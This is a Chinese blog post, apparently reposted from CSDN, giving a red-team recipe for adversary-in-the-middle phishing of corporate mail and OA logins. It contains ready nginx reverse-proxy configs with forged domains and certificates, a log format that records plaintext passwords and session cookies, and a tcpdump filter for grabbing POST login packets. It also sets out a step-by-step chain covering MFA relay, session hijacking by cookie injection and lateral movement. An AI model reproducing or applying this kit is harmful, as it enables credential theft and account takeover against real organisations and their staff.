// 红队渗透 · 2026-09-23

红队钓鱼场景下的Nginx反向代理技术分析

在红队钓鱼中,攻击者通过Nginx反向代理(AiTM)透明转发受害者流量至真实站点,同时利用 proxy_pass 配合日志变量捕获明文账密($request_body)与会话Cookie($http_cookie);在受害主机侧,则通过 tcpdump 配合BPF过滤表达式实时抓取发往代理节点的POST登录包,直接从TCP payload中提取账号、密码、验证码。两者结合,实现无感钓鱼 + MFA绕过 + 会话劫持 + 凭证验证的完整攻击链。


一、为什么邮服/OA是红队钓鱼的重点目标

系统类型 典型产品 凭证价值
邮件服务器 Exchange、Coremail、Exchange Online 邮箱可重置其他系统密码,是横向移动的“万能钥匙”
OA系统 泛微e-cology、致远A8、蓝凌EKP 包含组织架构、审批流、通讯录,是内网信息枢纽

三大特征决定其易受攻击:

  1. 凭证密度高:邮服/OA账号通常与AD域/LDAP/SSO打通,一旦获取即可横向移动
  2. Web登录入口统一:登录表单结构固定(如 /owa/auth.owa、/seeyon/rest/authentication/login),前端可像素级克隆
  3. 会话机制可复用:Cookie + Session机制普遍,部分支持“记住我”长效令牌,截获后可直接注入接管

二、Nginx反向代理的部署与配置

1. 基础反代配置(以Exchange OWA为例)

server {
    listen 443 ssl;
    server_name mail.corp-example.com;  # 伪造的合法域名

    ssl_certificate     /etc/nginx/cert/fake.crt;
    ssl_certificate_key /etc/nginx/cert/fake.key;

    location / {
        proxy_pass https://real-mail.corp-example.com;  # 真实邮服地址
        proxy_set_header Host real-mail.corp-example.com;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto https;
    }
}

关键点:Host 头必须设置为真实邮服域名,否则后端会因Host校验失败而拒绝请求;SSL证书需匹配伪造域名,否则浏览器提示证书错误。

2. 敏感数据捕获配置

log_format cred_capture '$remote_addr - $time_local '
                        '"$request" '
                        'BODY=$request_body '
                        'COOKIE=$http_cookie '
                        'UA=$http_user_agent';

access_log /var/log/nginx/capture.log cred_capture;

location /owa/ {
    proxy_pass https://real-mail.corp-example.com/owa/;
    proxy_set_header Host real-mail.corp-example.com;
    proxy_pass_header Set-Cookie;   # 确保Set-Cookie透传
}

$request_body 在 proxy_pass 场景下会记录POST请求体,Exchange OWA登录的账密就在其中:

username=admin&password=P@ssw0rd123&destination=https%3A%2F%2F...

$http_cookie 则记录客户端携带的会话令牌,捕获到的 ASP.NET_SessionId 或 cadata 可直接用于会话劫持。

3. OA系统(泛微e-cology)的特殊处理

泛微OA登录接口通常为 /login/VerifyLogin.jsp,提交字段包含 loginName、loginPassword。反代配置类似,但需注意:

location /login/ {
    proxy_pass http://real-oa.corp-example.com/login/;
    proxy_set_header Host real-oa.corp-example.com;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}

泛微部分版本使用 RSA加密传输密码,攻击者通过代理捕获的是加密后的密文,可结合前端JS逆向或直接转发到真实服务器验证的方式绕过。


三、tcpdump抓取登录包

tcpdump 命令可以在受害主机侧直接抓取明文HTTP登录凭证,从TCP payload中提取邮服/OA的登录表单数据。

1. 命令逐段拆解

tcpdump -i eth0 -s 0 -nnA 'tcp dst port 80 and host 172.16.46.35 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)'
参数 作用
-i eth0 监听 eth0 网卡
-s 0 snaplen设为0,抓取完整数据包,不截断payload
-nnA 不解析主机名/端口(-nn),以 ASCII 打印payload(-A),方便直接读取表单字段
tcp dst port 80 目标端口80,即明文HTTP流量
host 172.16.46.35 目标为Nginx代理节点IP
tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354 payload前4字节为 POST

2. BPF表达式精讲

  • tcp[12:1]:取TCP头第13字节(偏移12),其高4位为数据偏移字段(TCP header length)
  • & 0xf0:屏蔽低4位,仅保留高4位
  • >> 2:右移2位,将“以32位字为单位”的长度换算为字节数
  • :4:从payload起始位置读取4字节
  • = 0x504f5354:与 POST 的ASCII十六进制比较

为什么只抓POST? 邮服/OA的登录表单几乎都通过POST提交,GET请求只携带URL参数,不含密码。

3. 为什么用tcpdump而非Nginx日志

对比项 tcpdump Nginx日志
部署时机 旁路监听,不依赖服务端配置 需提前配置 log_format
数据完整性 完整捕获TCP payload $request_body 有大小限制,可能丢弃
隐蔽性 不修改目标配置,不易触发日志告警 修改配置可能引起日志异常
适用场景 已控主机快速验证凭证质量 代理节点长期留存

4. ASCII输出解读

-A 参数让tcpdump以ASCII打印payload,可直接肉眼读取:

POST /seeyon/rest/authentication/login HTTP/1.1
Host: testasp.vulnweb.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

username=admin&password=P%40ssw0rd123&validateCode=8f3a

注意:密码中的特殊字符会被URL编码(@ → %40),需解码还原。


四、MFA绕过原理

邮服/OA系统常启用MFA(短信验证码、OTP令牌、邮件验证码)。Nginx反代实现MFA绕过的核心逻辑:

受害者 → [Nginx代理] → 真实邮服
           ↓
      记录所有请求/响应

攻击流程:

  1. 受害者在钓鱼页面输入账号密码,Nginx记录明文凭证并转发给真实邮服
  2. 真实邮服验证密码通过,下发MFA挑战
  3. Nginx将MFA挑战页面原样返回给受害者
  4. 受害者输入MFA验证码,Nginx记录并转发
  5. 真实邮服验证MFA通过,下发已认证的会话Cookie
  6. Nginx捕获该Cookie,攻击者即可在本地浏览器注入,完整接管会话

整个过程受害者看到的是正常的登录流程,毫无察觉。攻击者无需破解MFA,只需实时转发即可。


五、完整攻击链

① 克隆邮服/OA登录页 → 部署在Nginx代理VPS(172.16.46.35)
② 伪造相似域名(如 mail-corp.com vs mail.corp.com)→ 诱导受害者访问
③ 受害主机执行tcpdump → 实时抓取POST登录包 → 提取明文账密
④ Nginx记录 $request_body / $http_cookie → 二次留存凭证与Cookie
⑤ Nginx转发至真实邮服/OA → 受害者正常登录,无感知
⑥ 真实邮服下发MFA挑战 → Nginx透传 → 受害者输入验证码 → Nginx记录
⑦ 真实邮服下发会话Cookie → Nginx捕获 → 攻击者注入Cookie接管会话
⑧ 利用邮服重置其他系统密码 → 内网横向移动

第③步的tcpdump是凭证获取的“第一现场”,用于快速确认钓鱼是否成功、账密是否有效;第④步的Nginx日志则是长期留存与Cookie捕获的补充。

原文 https://blog.csdn.net/2301_79518550/article/details/166487876